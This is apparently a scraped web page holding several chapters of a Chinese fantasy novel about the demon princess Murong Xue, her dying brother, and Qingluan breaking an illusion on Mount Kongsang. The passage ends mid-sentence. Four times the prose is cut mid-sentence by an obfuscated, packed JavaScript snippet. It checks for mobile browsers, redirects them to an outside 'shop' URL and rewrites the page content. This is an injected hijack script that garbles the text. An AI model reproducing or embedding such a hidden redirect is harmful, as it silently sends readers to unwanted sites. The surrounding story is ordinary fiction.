慕容雪呆呆地注视着他,不知在想些什么,亦或是大脑一片空白,什么也想不起来,好半晌,她才责备地笑了,宛如一个姐姐在责备淘气的弟弟,“怎么这样傻,从前我是如何教你的,要保护好自己,知不知道什么叫做,什么叫做保护好自己?” 说到这里,她似乎才恍然惊觉,慕容景并非如儿时那般淘气伤了自己,他方才替她挡下致命一击,如今,他快要死了。 她的声音哽咽起来,“你就算要救我,可以用剑,可以御气,不管怎么样,你为什么非要用身体去挡?你是不是傻子,你怎么这样傻?慕容景,你怎么比小时候还要蠢啊,你怎么这样蠢!” 她翻来覆去地责骂慕容景,眼泪却如断线一般淌下来,她以为自己身为妖,是不会流眼泪的,因此从来没有想到过,流泪竟会这样的痛,痛得她几乎无法支撑。 她俯下身,整个人伏在慕容景身上,但在俯下去的一瞬间,想到他受了这样重的伤,又立时仓惶地直起了身子,“怎样可以救你,小景,别睡,别睡,不许睡,用我的妖丹,用我的妖丹可不可以救你……” “阿姊,”慕容景强撑住一口气,握住慕容雪的手,“我方才,方才是太害怕了,因我看见,看见你不仅没有躲闪,反而迎了上去,我看见你意图自毁,脑子里便一片空白,什么也顾不得了,只想,只想替你挡下……你别难过,阿姊,对不起……” 事已至此,他第一个想到的,居然还是向慕容雪解释自己的所作所为。 他皱着眉头,仿佛也觉得自己以身相挡的行为很愚蠢,于是有些不好意思地向慕容雪陈述他的动机,一如儿时那般,闯了祸向她坦白,希图得到她的庇护,那样小心翼翼,那样乖巧懂事。 “不是的,不是的,不怪你,不怪你。”慕容雪不住摇头,她的泪滴落在慕容景的脸上,与他的血混在一起,“都怪我,是我,是我从始至终没有同你讲实话,十三年前替你引开妖族杀手,我从来没有后悔过,我也从不曾厌弃过你,在你很小很小的时候,我便下定决心要保护你。小景,让你离开华胥,就是因为不想让你看见青丘与华胥开战,更不想让你看见我的背叛,可是我没有办法,我只有这样做,只有这样做他才愿意帮我恢复梅宗故土,助我复活族人……” 她的这一番陈情听懵了所有人,直到这时华胥皇族隐秘的内情才公布在阳光底下。 原来慕容雪非但不是华胥国的公主,甚至还是妖族大宗的一员。 至于她说的什么恢复故土,旁人更是听不明白了,青丘国主看起来尤为震撼,但他也是最快从震撼中回过神来的那一个。 于他而言,慕容雪的身世并不重要,她复活族人的大计更是无关紧要,重要的是慕容景就快死了,即便华胥人再厉害,如今群龙无首军心涣散,正是大举进攻的最佳时机。 于是一声令下,青丘大军黑云压城般朝华胥而去。 杀伐之声响彻空桑,霎时间地动山摇,华胥已失慕容景,青丘势在必得。 华胥人虽然悲痛,军队却并未崩溃,仍然严军列阵,立时便有将帅顶上,誓死保卫身后的疆土。 一场厮杀在所难免,而失去了慕容景的华胥军队,其实结果可想而知。 他们没有后退一步,是已做好了用血肉之躯守卫山河的打算。 慕容雪颓然地坐在战场上,周遭发生的一切好像都已与她无关,她只是紧紧地抱住慕容景,感受着他的身体在自己怀中逐渐变凉。 片刻后,她的眼神从悲痛转为茫然,即将失去慕容景的恐惧占据了一切,直到慕容景的呼唤声传入耳里,她才从失魂落魄中被拽了回来。 “阿姊,阿姊……”慕容景已经说不出什么话来了,只能一声声唤着她,直到她回过神来后,他用尽最后一丝力气,朝不远处的华胥军队一指。 慕容雪顺着他手指的方向望过去,看见那些奋力抵挡敌军进攻的华胥战士,看见他们身后锦绣绵延的华胥国土,看见那座她曾经生活了十几年的华胥宫殿。 慕容景什么也没说,但她心中已了然。 闭上眼,两行泪同时落下,她感到眼中一阵刺痛,再睁眼时,眼前的世界已然蒙上了一层血雾般的红。 “好,我知道了,我知道了,我答应你……” 在她许下承诺的一瞬间,慕容景松了口气,这松下去的一口气便再也没有提得起来,他的手在空中微微一颤,随后无力地垂了下去。 他躺在慕容雪怀里,安静地闭上了眼。 慕容雪哑然地呜咽着,似乎将所有的悲伤都咽进了肚子里,她止不住地颤抖,终于在压抑了许久后,仰头发出撕心裂肺的哭号。 霎时间风云骤变,狂风嘶吼着将天边的云扯碎了砸下来,围绕着慕容雪,在空中旋转飞舞,迅速蔓延了整个空桑。 慕容雪紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712370|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧护住怀中的慕容景,她瘦削的身影在狂风暴雪中显得那样脆弱,好像随时都会被风雪淹没。 这一场突如其来的骇人风雪逼停了正在交战的双方,他们放下武器,茫然地望向慕容雪所在的方向,还没来得及想明白到底发生了什么,忽闻脚底传来一声巨响,紧接着整座山开始剧烈摇晃,仿佛随时都会塌陷。 慕容雪双眼通红,凝视着这片修罗战场,她突然间想起一些同现在的场景毫不相关的事。 她想,当初慕容止屠她梅宗全族时,想必也是这般惨烈的景象吧。 想到这里她突然就笑了,那笑声却似哭非笑,状如疯魔。 凄凉的声音长久地在空桑回荡,周遭的空气仿佛都凝固了,有一种令人窒息的压迫感。 当众人意识到情形不对,欲逃离此地时,才发现自己好像被钉在了原地,怎么也抬不起腿来。 良久,慕容雪终于安静下来,于是整个空桑都陷入一种死一般的寂静。 她扫一眼快被这场大雪活埋的华胥人和青丘人,微启双唇,吐出的话比雪还凉:“你们,也该归还那些本不属于你们的东西了。” 话音落地,在场所有华胥人忽觉一道力量侵入身体,那力量极为霸道,蛮横地吸取着他们的修为。 直到此刻他们才明白慕容雪想要做什么,她定是要吸走他们的修为,废了他们的道行,为她的族人报仇! 慕容雪却看也不看他们,而是将目光投向了另一边瑟瑟发抖的青丘人,“至于你们,你们便和我一起,给小景陪葬吧。” 她这话说得不紧不慢,甚至称得上轻柔,却是宣判了在场所有青丘人的死期。 原本陷入死寂的空桑轰然一声巨响,自青丘人所在的区域开始,以极快的速度塌陷。 她何止是要青丘人给慕容景陪葬,她是要葬了整座空桑,让整座山都成为慕容景的坟冢。 那些被吸光了修为的华胥人终于可以动弹了,此时的他们已经与普通人无异,不能再施展法术,只能连滚带爬地往山下跑。 慕容雪跪坐在原地,静静地抱着慕容景,昔日那一株凌寒盛开的梅,此时却是即将枯萎的花。 她阖上眼,安静地等待着。 却并没有如她预想的那般等来生命的终结。 空桑风声渐息,雪凝在了半空中,宛若时空静止。 那些被困在原地不能行动的青丘人,突然间被解除了束缚,不再受到慕容雪的钳制,慌忙逃窜离开了空桑山。 感受到自己的力量被人压制,慕容雪猛然睁开双眼,抬首望向突如其来的始作俑者,眼中升腾起滔天怒意。 青鸾原本一直以旁观者的姿态注视着幻境中发生的一切,在看见来人之后,也忍不住心神一动,本来稳固的精神游丝出现了微微的波动。 那位不速之客玄衣黑袍,仙气凛然,威严不可直视,正是武罗神君帝骁。 19. 青丝雪 他凌于半空之中,以上位者的姿态,居高临下地俯视着慕容雪,不容分说拂袖朝她击去,原本这一击是要打得慕容雪魂飞魄散的,却没想到被她咬牙接住了。 更令他感到意外的是,承受了他这带着神力的一击,慕容雪不仅毫无畏惧之意,反而眼中怒意更盛。 帝骁似乎为此感到恼怒,还有些厌恶,蹙眉道了句妖孽,随后掌心微悬,于空中幻化出金色的锁链。 那凝聚着神力的金色锁链游蛇一般缠住了慕容雪,锁链之上仙气磅礴,逐渐弥漫起了冰蓝色烟雾,看样子它不仅锁住了慕容雪的肉身,更锁住了她的三魂七魄。 帝骁一手紧紧缚住慕容雪,另一只手伸向半空,唤出归墟剑。 “不过是一只肮脏的妖,竟敢用这样的眼神直视我。”帝骁不耐烦地扬起归墟,随意地朝慕容雪一指,“那便正好,就拿你来试试我新炼的诸天同尘境。” 话音还未落地,归墟划出的剑气散发出刺眼的光,整个空桑都被那道剑气映得惨白一片,随后化为齑粉,变成漫天的尘埃,缓缓落了下去。 青鸾睁大了眼注视着眼前这一幕。 这诸天同尘境,正是梦中多年之后,已经成为天君的帝骁用来对付大荒魔族始祖之息的阵法。 原来在这个时候,他便已经开始修炼此术了。 原来这样早,他便已经打算用这个方法对付那始祖魔气了。 原来从一开始,他就从未想过两全之策,从未设法保住大荒的那片土地。 更令她震惊的是,他唤慕容雪为肮脏的妖。 所以原来,他甚至那样厌恶妖族,就连方才俯视慕容雪时,眼中流露出的恼怒与厌恶,她也觉得那样熟悉。 在那个预知未来的梦境里,她曾拦在他的身前,意图阻止他用诸天同尘境毁掉自己的子民,那个时候,他也是用这样恼怒和厌恶的眼神注视着她。 那么为什么…… 为什么他要将她这只小妖留在身边,为什么他要对她另眼相待,为什么他要待她这样的好? 她僵硬地抬起手,抚上自己的心口。 难道真如梦境所示,是为了她的这颗心脏,是为了用她的心脏去复活那个名唤阿媱的神女? 她想了太多太多,甚至想得分不清梦境与现实。 她在慕容雪的幻境里,被困在了自己的梦境中。 而幻境之中,慕容雪被金色的锁链所缚,随着化为齑粉的空桑一起向下坠落,青鸾看着她,好像看到了多年之后,被帝骁一剑抹去存在痕迹的大荒子民。 “不、不要……” 她想要飞身去救慕容雪,却发现自己全然不能动弹,浑身的经脉好像都被锁住了,使不上力气,更使不出法术。 青鸾觉得此刻的自己一如梦中那般,根本无力改变眼前的一切,她只能眼睁睁看着,感受着自己的无能为力。 太阳穴突突地跳着,便在此时她恍然惊觉,方才自己心神激荡,没有注意到她的精神游丝逐渐变得紊乱,甚至忘记了眼前的一切只是慕容雪创造出来的一个幻境。 幻境外的慕容雪必是趁她神思紊乱之际,催动了幻境,吞噬她的精神游丝,因此她才会像现在这般不能行动。 身体渐渐变得冰凉,她的精神游丝正以肉眼可见的速度流逝着,再这样下去,不出半炷香的工夫,她便会神思衰竭而亡。 可是此刻的她丝毫动弹不得,自然也挣脱不了幻境的吞噬,她只能眼睁睁看着自己在这个逐渐变得支离破碎的世界中,一点一点地向下沉沦。 “你的精神力的确很强大,用来滋养小景的归魂树,倒也不算辜负。” 幻境彻底坍塌,光影的碎片中,真正的慕容雪也终于现身,出现在了青鸾的眼前。 不同于幻境中的墨发白裳,也没有了幻境里的绝代风华,现实中的慕容雪,竟是一身素衣,一头白发。 她轻飘飘地浮于半空之中,伸出枯枝般干瘦的手,遥遥伸向正在不断下坠的青鸾。 她向她伸出手,却并不是要救她。 冰蓝色光华从她的掌心淌出,轻柔地裹住青鸾,然后侵入她的元神,吸取着她的精神力。 被那一片冰蓝色的气息包裹着,青鸾并不觉得痛苦,她甚至感到放松,就这么无知无觉地往下坠,好像可以轻而易举去到世界的尽头。 她缓缓闭上了眼。 世界的尽头有什么呢。 一片长久的黑暗中,缓缓现出一缕柔和的光亮,那光芒很有灵性地勾勒出一个人的容貌。 是帝宣。 他在这无尽的黑暗中,冲她笑着,为她带来短暂的光。 她想要伸出手去够他,却看见他被一道黑气击碎,破碎的光芒星星点点地游曳着,重新编织出一个画面。 森森白骨,尸横遍野,正是她梦中的景象。 她看见那魔族始祖之息正在大荒蔓延,看见人们眼中的救世主帝骁一剑劈了大荒,将那片土地和土地上的人民,一道劈为齑粉。 她甚至听见了人们哀嚎的声音,听见了骨头碎裂的声音,那些怖人的声音让她不能再安于沉沦,她想要睁开眼睛,却像是陷入了梦魇,怎么也醒不过来。 心急如焚之际,忽觉眼皮一阵潮湿,似乎有一个小舌头又轻又急地舔舐着她,原本千钧重的眼皮不再那般沉重,她挣扎半晌,终于从噩梦中醒来,睁开了眼。 映入眼帘的是那只被她救下的小兽,它正趴在她的身上,焦急地唤她醒来。 慕容雪注视着眼前这一幕,微微蹙眉,眼中略有讶异。 没有人能在被她的幻境吞噬时从昏睡中醒转,她不明白,明明她已经成功了,明明青鸾已经陷入了沉睡,为何竟能够醒过来。 思索片刻,她掌心微旋,手势变幻,自她掌心发出的浅蓝色光芒不再柔和,变得无比凌厉,寒光闪闪。 原本她只想吞噬青鸾的精神力,最终青鸾会变得痴傻,但好歹能留下一条性命,可是现在,在看见她居然能挣脱梦魇的束缚,从沉睡中醒转之后,她改变了主意,决意取她性命,以绝后患。 那小兽见慕容雪动了杀心,调转了方向,挡在青鸾的跟前,呲牙咧嘴地对着慕容雪,朝她发出低低的嘶吼声。 青鸾不断地尝试解除束缚,屏气凝聚着精神力,调动全身的力量,一遍又一遍地冲击自己的经脉。 终于在那道凌厉的光芒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712371|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堪堪触及到她的衣衫和小兽的皮毛时,她冲破了幻境的阻碍,抱住小兽,旋身避开了慕容雪的杀招。 但也仅仅是能避开而已,她刚刚冲破阻碍,手脚尚且酸软,并没有完全恢复力量,还不能与慕容雪相抗。 慕容雪趁机再下杀招,她张开双臂,衣袖猎猎飞舞,万千冰凌自她袖间飞出,以极快的速度攻向青鸾。 杀心已起,自然难息,此番她本势在必得,却在这个时候恍惚听见一声呼唤,在这个由她亲手缔造的冰冷世界里,她听见有人唤她阿姊。 那些攻向青鸾的冰凌骤然停在了半空中,慕容雪微微侧了侧首,下意识想要寻找那声遥远的呼唤到底来自哪里。 与此同时,青鸾感到一股温暖的力量自她怀中升起,垂首去看,原来是出发前帝骁让她务必收好的那颗半透明珠子,此刻正散发着柔和的微光,从她怀中飞出,缓缓飞向慕容雪。 与那珠子一同飞出的,还有英小小交给她的那块红玉。 红色的玉石,晶莹的灵珠,互相围绕着彼此,旋转着朝慕容雪的方向而去。 慕容雪望着它们,有些恍惚,还有些不可置信,待她反应过来时,泪水已盈满眼眶。 “小景,是你吗?” 灵珠和玉石缓缓停在了她的跟前,闪烁着的微光仿佛是在与她对话,可她只是不住地摇头,甚至不敢伸手去触碰它们。 此刻的她一如当初的青鸾,神思激荡之下,已无力维持这个吞噬人精神力的幻境,青鸾便趁她这一瞬的涣散,彻底击碎了她苦心布下的一切。 幻境彻底消散,青鸾凝神念咒,帝宣赠与她的匕首立时飞出,不偏不倚朝慕容雪咽喉处而去。 慕容雪却似恍然不觉,她没有抵挡,也没有闪避,只是呆呆地定在原地,一动不动地注视着那颗灵珠。 最后一刻青鸾御气止住匕首的攻势,锋利的刀刃堪堪停在距离慕容雪咽喉的一寸处。 “小景,真的是你。” 慕容雪突然笑了,一滴泪从她眼中落下,落在青鸾的匕首上,破碎着溅开,像一朵被春雨打落的花。 她终于伸出手,尝试着想要触碰灵珠,却又在即将触摸到它时,怯怯地收了回去。 此刻她的神情中全然没有了方才的狠绝凌厉,看起来有些彷徨,还有些小孩子般的手足无措。 青鸾叹息一声,收了匕首,飞身至慕容雪跟前。 慕容雪将目光移到她的身上,方才凌厉狠绝的目光,此刻已变得柔和哀怜,她的声音也变得有温度了许多,好似只有在此时此刻,她才真正活了过来,“是你将小景带来这里的?” 她转首望向身后,“你瞧,我让他在这归魂树下安睡,他已经睡了好久好久,久到我已不敢相信,也许我真能等到他醒来的那一日。” 顺着慕容雪的目光望过去,青鸾这才注意到,在她的身后,空桑山顶的正中央,万木凋谢之处,竟生长着一棵枝繁叶茂的参天之树。 那棵树上的叶子无风自动,每一片都散发着浅浅的光泽,一看便不是凡树。 漫天大雪自树端而降,以它为中心,向四海八荒蔓延。 原来,这才是空桑雪患的根源。 20. 青丝雪 自那参天之树顶端降下的雪此刻算得上温柔沉静,看起来倒似祥瑞之象,令人难以相信,便是它引得四海八荒大雪弥漫,且雪患一路蔓延,波及到了位于天地之间最中央的青要山。 慕容景就阖眼倚坐在那棵树下,好似只是睡着了,一如幻境当中青鸾所见的那般模样。岁月流逝,他却面容未老,不曾沧桑。 不知慕容雪使了什么术法,或是在他周遭布下了什么结界,那些自树端降下的雪,落在他身上的一瞬间便融化不见,他就这样安睡着,洁净得不染尘埃。 “那一日空桑之战,我原本以为自己会和这座山一样,被那一道神力劈为齑粉。”沉默良久,慕容雪终于伸出手,小心翼翼地触碰那块红玉,“这是小景送给我的生辰礼,它原本是昆仑山下的白玉,玉身如雪,剔透无暇。如今之所以会变成红色,还有了这许多裂痕,想来是因为小景替我挡下致命一击的时候,正将它揣在怀里吧。” 青鸾看着慕容雪哀戚的神情,于心不忍的同时还有点庆幸,还好她并未想起询问自己这块玉从何处而来。 陪着慕容雪默然良久,青鸾试探着问她:“你方才说,连你自己也以为,你会和空桑山一样被劈为齑粉,那么后来,你是如何得救的?这座山……” “你很疑惑,分明在幻境里,空桑已经化为了尘埃,为何如今又恢复了原来的模样,是吗?”慕容雪转过身,拂袖飞至慕容景的身侧,凝视着他安宁的睡颜,她又默了一默,方道:“因为,他来了。” “他?是谁?”青鸾不解。 慕容雪回首望她,再开口时,言语之间却有些讳莫如深:“正是幻境之中,你潜入我的梦境时看见的那位神君。是他将我从那些妖族杀手的包围中救了出来,也是他告诉了我身世的真相,将我推入另一个深渊。” “世人皆知凝魄珠里凝聚了华胥历任飞升国君残留于人间的精魄,知它有抵御邪魔、助人修行的功效,却是不知,它还有封印妖力、洗髓换骨、净化妖血之效。” 青鸾立马反应过来:“所以,慕容夫妇将你领回华胥宫中后,就用凝魄珠封印了你的妖力,还对你洗髓换骨,想要让你由妖变人?” “正是如此。”如今再说起这一段经历,不知慕容雪是何心情,她的语气逐渐变得平静,听不出任何情绪: “其实由妖变为人,岂是那般容易,如若当真这么简单,那些妖也不至于修炼成百上千年方能化为人形,又要由人形继续修炼上千年,才有转世为人的可能。光有那凝魄珠,是不够的。” 听到这里,青鸾已然猜出七八成来,“难道,你在华胥宫中时能如正常人一般长大,没有暴露妖族的身份,是慕容夫妇耗费自身修为渡予你的缘故?” 慕容雪闭上眼,点了点头。 青鸾不禁哑然。 想来之于慕容雪而言,慕容夫妇在她生命中的意义可谓复杂。 若说大仇,他们乃杀她父母、屠她全宗的仇人,若说大恩,他们又于她有抚育之恩、度化之恩。 曾经屠她全族,却又真心待她,这其中的恩恩怨怨,青鸾不忍细思。 细想下去,她觉得残忍。 “那位神君将我从妖族杀手的包围之中带走后,遍寻幸存下来的梅宗远亲,每日灌我以远亲妖血,解我封印。”慕容雪却似乎没有耽于那一段不堪的往事,继续淡淡地道: “原本父皇母后封我妖力也不过十余年,至多是封印了我的妖族血脉,远远谈不上将我渡化为人。因此那位神君灌我妖血不过一年,我便解除了封印,恢复了妖力。” “你知道身为妖是种什么样的感觉么?”慕容雪顿了一顿:“我们的血是冷的。最开始我为此感到恐惧,因我能感受到冰凉的血在身体里流淌,日复一日地,提醒着我不是华胥的公主,而是被华胥人视为肮脏的物种,欲除之后快的妖怪。” 青鸾咬了咬嘴唇,想要安慰慕容雪,她其实也是妖,她应当是懂得慕容雪的感受的。 纠结半晌,最后她什么也没说。 身为同族,便当真能切身懂得对方的感受么? 其实未必。 “我挣扎了一年,在这一年里我不断地说服自己,父皇和母后不会如此狠心,我就是他们的亲生女儿。可在事实面前,这一切的不愿相信都显得如此懦弱可笑。” “但你知道吗,其实我从未想过复仇,从未。” 慕容雪的声音一如既往淡然,说到这里时,却平添了几分坚定。 青鸾听到此处,疑惑道:“那为何后来,你又欲取得凝魄珠,并与英小小联系,最终引得青丘与华胥开战?” “想要让华胥陷入腥风血雨之中的人并不是我,而是那位神君。”慕容雪微微蹙了蹙眉,看得出来,关于这一点,其实她自己也感到疑惑。 “最初得知自己的身世时,我的确陷入了仇恨里,可是当我知道族人尚能得救,我还有望恢复故土时,支撑我在滔天的仇恨里活下去的,便只有复活族人、恢复故土的希望,而不是手刃我的养父养母,为亲生父母报仇。” “其实,希望远比仇恨更有力量,不是吗?” 慕容雪似乎有些累了,轻轻叹了口气,抬手抚上归魂树的树干。 “那位神君告诉我,我的族人尚能生还,但他们的魂魄为父皇所用,被困在了他的元神里,需要我亲自去取。除此之外,梅宗故土被父皇用凤凰心火所焚,原本再难复原,可他能够帮我,条件便是让我回到华胥宫中,为他取得华胥圣物凝魄珠,交给青丘英小小。” “我并不知英小小要凝魄珠何用,更不知那位神君又与青丘有何干系,为何要挑起青丘与华胥的大战,亦或者他其实与这场空桑之战无关,他不过是想助英小小取得凝魄珠而已。” “这一切的缘由,我都不得而知,也不感兴趣。我只是听他的话,按他的要求去做。他也确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712372|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实信守承诺,替我恢复了梅宗故土,安置了族人魂魄。百年之后,我的族人便可重新化形,重见天日了。” 想到这里,慕容雪的语气里才有了些许欣慰之意,可是片刻之后,她的情绪陡然一转,又堕入了万丈深渊。 “那时我并未想到,我想实现的那一切,还要以小景的性命作为代价。” “后来发生的事情,远超我的预料,也完全不在我的可控范围之内。小景为救我身殒,我当时的确是疯了,只想杀了所有青丘人为小景陪葬。” “再后来,便是你在幻境中看到的了。帝骁来到空桑,一剑将空桑劈为齑粉,欲让我魂飞魄散。” “本来,我是该同空桑一起化为齑粉的,帝骁想必也对此深信不疑,因此他在劈碎了空桑山之后,便径直离开了,在他离开之后,那位曾经救过我的神君,救了我第二次。” 青鸾不解,“空桑已被劈为齑粉,他是如何救你,又是如何恢复了这座山的?” 慕容雪回忆起当初得救时的场景,语气里也有些讶异:“我也不知他使的到底是何术法,只记得当时天光一暗,已然被劈为齑粉的空桑山竟然慢慢复原。” “是领域,一定是领域。”青鸾忍不住微微一颤,没有想到,世间竟真有人能修炼出领域来,“我在你的梦境中曾看见过你的一段回忆,在那段回忆里,他就施展了领域。这个领域仿佛有时光回溯的能力,那时你撞上刀刃,分明快要气绝,他却像是让时光在你身上倒流了,让你回到了受伤之前。” “如若当真是领域,那么那位神君的修为已然不可估量,既然如此,他又为何要做这些事呢?”慕容雪回忆着他的种种作为,有些不解:“空桑复原之后,他便出现了,并且将这归魂树赠我,让我把小景的肉身置于归魂树下。他告诉我,唯有如此,才能重新凝聚小景已经消散的魂魄,小景才有复活的可能。最为巧合的是,这归魂树乃雪族遗失千年的圣物,早已枯萎,没了神力,需得雪族中人以精魂灌养,方有可能让它重新生长,恢复凝聚亡者魂魄的神力。” “我的母亲正好是雪族中人,因此我也有雪族血脉,自是能灌养这归魂树的。可是,若要让小景消散的魂魄重新凝聚,绝非数年之功,且这百年间,归魂树还在不断生长,徒我一人灌养,实在难以为继。” 青鸾闻言至此,深深叹了口气,心中已经了然,空桑雪患至此真相大白,“所以,你才编织了这样一个能吞噬人精神游丝的幻境,其实你的目的并不是杀人,而是想用这个幻境吞噬的精神力,来支撑你自己继续灌养归魂树。” “不错,这些年来总有人奔赴空桑,有的人如你一般想要解决空桑雪事,还有的人,其实不过是出于好奇,想要到这山上来一探究竟。可是他们无一例外全都入了幻境,且迷失在幻境之中,再也无法出来。”慕容雪缓缓说着,重新将目光移至青鸾身上,“这么多年来,你是唯一一个堪破幻境的人。” 21. 青丝雪 雪无声无息地落着。 慕容雪微微仰首,凝视着这一场因她而起,波及八荒的大雪。 良久良久,终于,她的眼中露出了倦意。 “原本这幻境最大的破绽,便是误入幻境之人并不能与幻化出来的人交流,不过这些年来,不知是否归魂树当真凝聚了小景魂魄,幻境中的人愈发生动,甚至与真实的人没什么区别,渐渐地能与闯入幻境的人交谈,因此也愈加难以堪破。” 说到此处,她长久地叹了口气,“也许其实,我盼着有这样一天,有这样一个人,能堪破这个幻境。这幻境困住了他们,其实也困着我。青鸾,你既已知晓一切,想做什么,那便做吧。” 她确是累了,形单影只立于风霜之中,瘦若枯骨,哪里还有从前半分风采。此刻同青鸾说这番话,大有解脱之意。 青鸾望着她,却没有如她设想中那般动手,而是抚慰地笑:“好,那么第一件事,便先设法让小景的魂珠回到他的体内吧。” 慕容雪似是没有反应过来青鸾何意,呆呆地注视着她,直到青鸾行至慕容景的身边,尝试将那灵珠引入他的体内,她才诧然道:“原来这颗灵珠竟是小景的魂珠,还可重新回到他体内?你为何愿意帮我们?” 灵珠在青鸾的催动下,光芒愈来愈盛,旋转着靠近慕容景,逐渐消散于他的眉间。 “我早已当他是朋友了。”青鸾引导着灵珠重新适应慕容景的身体,额间渗出了细密的汗,“虽然同我相处的,不过是幻境中的慕容景,但在我心里,早已当他是朋友的。” 青鸾说的是真心话。 虽然幻境中的慕容景是假的,但在幻境中与他相处时发生的一切,带给她的触动是真的。 慕容景其人,如一块玉,如一石金,是没有被剖开的金子,是未经雕饰的玉,谁能不为这样的人而动容? 除此之外,还有一层原因,却是她没有同慕容雪提及,甚而自己也未思索明白的。 她想,利用灵珠复活慕容景,或许也是帝骁之意。毕竟这颗灵珠便是帝骁给她的,还在她出发前再三叮嘱,此珠于解决空桑雪患有大用处,要她务必收好。 甚至这颗灵珠也许便是他亲自凝成的。毕竟能将亡者四散的魂魄凝而为珠之人,天上地下恐怕也寻不出几位来,除了帝骁,她实在想不出还有何人了。 她想不明白的是,当年空桑之战后,帝骁分明想一剑劈了空桑,让慕容雪二人同空桑一起化为齑粉的,何以又费这样大的力气,将慕容景的魂魄凝聚成珠,还将此珠交予她手,让她来解决空桑雪患。 就好像,如今发生的一切都在他的预料之中一样。 思及此,她不禁后背一凉,顿觉悚然。 如若这一切当真都在他的预料之中,那么他步步为营,到底是想做些什么? 无论他想做什么,这般筹谋,如此算计,都令她觉得陌生。 凉意蔓延至全身,汗珠顺着她的脸颊滑下,不知是这般思索令她费心费力,还是为复活慕容景,当真耗费了她许多力量,她逐渐感到难以支撑,脸色变得灰白。 那头小兽急得在她脚下逡巡徘徊,不停地用脑袋蹭她,发出嘤嘤的声音,试图阻止她为救慕容景而自损的行为。 “青鸾姑娘,如若实在艰难,你莫要勉强。”慕容雪瞧着青鸾这般模样,也露出担忧的神情。 青鸾咬紧牙关,不断地以自身修为引导魂珠,试图用它复活慕容景,但不知为何,慕容景的身体似乎对这颗灵珠极为排斥,青鸾无论如何不能将他的肉身与魂珠相融。 她觉得奇怪,这分明便是慕容景的魂珠,她与慕容雪都能在这魂珠上感受到他的气息,且他的肉身在归魂树下养得极好,按理来说,两者应当很好相融才是。 何以会如此艰难? 喉间渗出一股血腥气,青鸾想咽却咽不回去,冷风一吹,激得她咳出一口血来,踉跄着往后退了几步。 今日她损耗过甚,无法再用修为引导魂珠复活慕容景,不得不收了魂珠,抱歉地望向慕容雪。 慕容雪却像是突然明白过来什么,蹙着眉靠近慕容景,颤抖着抬手,抚上他的肩。 雪落在他的身上,转眼消融。他安静地于归魂树下沉睡,仿佛永远不会再睁开眼,又仿佛下一刻便能够醒来。 慕容雪长久地注视着他,蓦地笑了,这比雪更加冰凉的笑容,青鸾以前从未见过。 “好,好……那位神君骗了我,他竟骗了我。”慕容雪好似已流不出泪来了,她只是干干地笑着,那笑声却像极了啜泣,“小景的肉身被我用归魂树好好地养着,看似无虞,实则却如枯枝朽木。这样一副空洞的身躯,甚至容不下他自己的魂魄。” 她抬起头,注视着眼前这棵吞噬了无数人精魂的参天之树,眼中尽是茫然。片刻后,待茫然褪去,慕容雪便只余愤恨了,“可他为何骗我?为何要这般大费周章地欺骗我!” 眼见着慕容雪如幻境中那般逐渐失控,青鸾赶忙上前,用力握住她的手,“或许他别有所图,可眼下顾不得这些,此刻最重要的,是我们该如何利用魂珠,让小景复活。” “小景还能复活么?”慕容雪被青鸾从疯魔的边缘唤了回来,却已是心如死灰,“倘若这副肉身能与魂珠相融,那还有所指望,可如今,如今还有何方法让他复活?” “既然这一副肉身不能用了,那么……那么干脆便换一副新的肉身!”青鸾也算是急中生智了,脑中白光一闪,闪出个自己也觉得不可思议的法子来。 “新的肉身,谈何容易?”慕容雪阖眼摇首,“除非能如女娲大神那般抟土造人,否则我们从何处替小景寻一副新的肉身来。” “人活一世,最重要的本来便是他的灵与魂,而非那一副脆弱肉身。既然小景的魂魄已凝聚成珠,那我们何不再替他换一副新的肉身来?倘若这世间只有女娲大神有抟土造人之能,那便去求女娲大神!”青鸾原本还在苦思,该从何处寻一副新的肉身来,经慕容雪这样一提,反而有了希望。 “可放眼四海八荒,曾经的先神大多应劫或者神隐,便连后神也寻不出几位来了。这些年来,女娲宫隐于极南之地的深林,无人能够靠近,更无人听说过女娲大神的消息。极有可能,她也早已应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 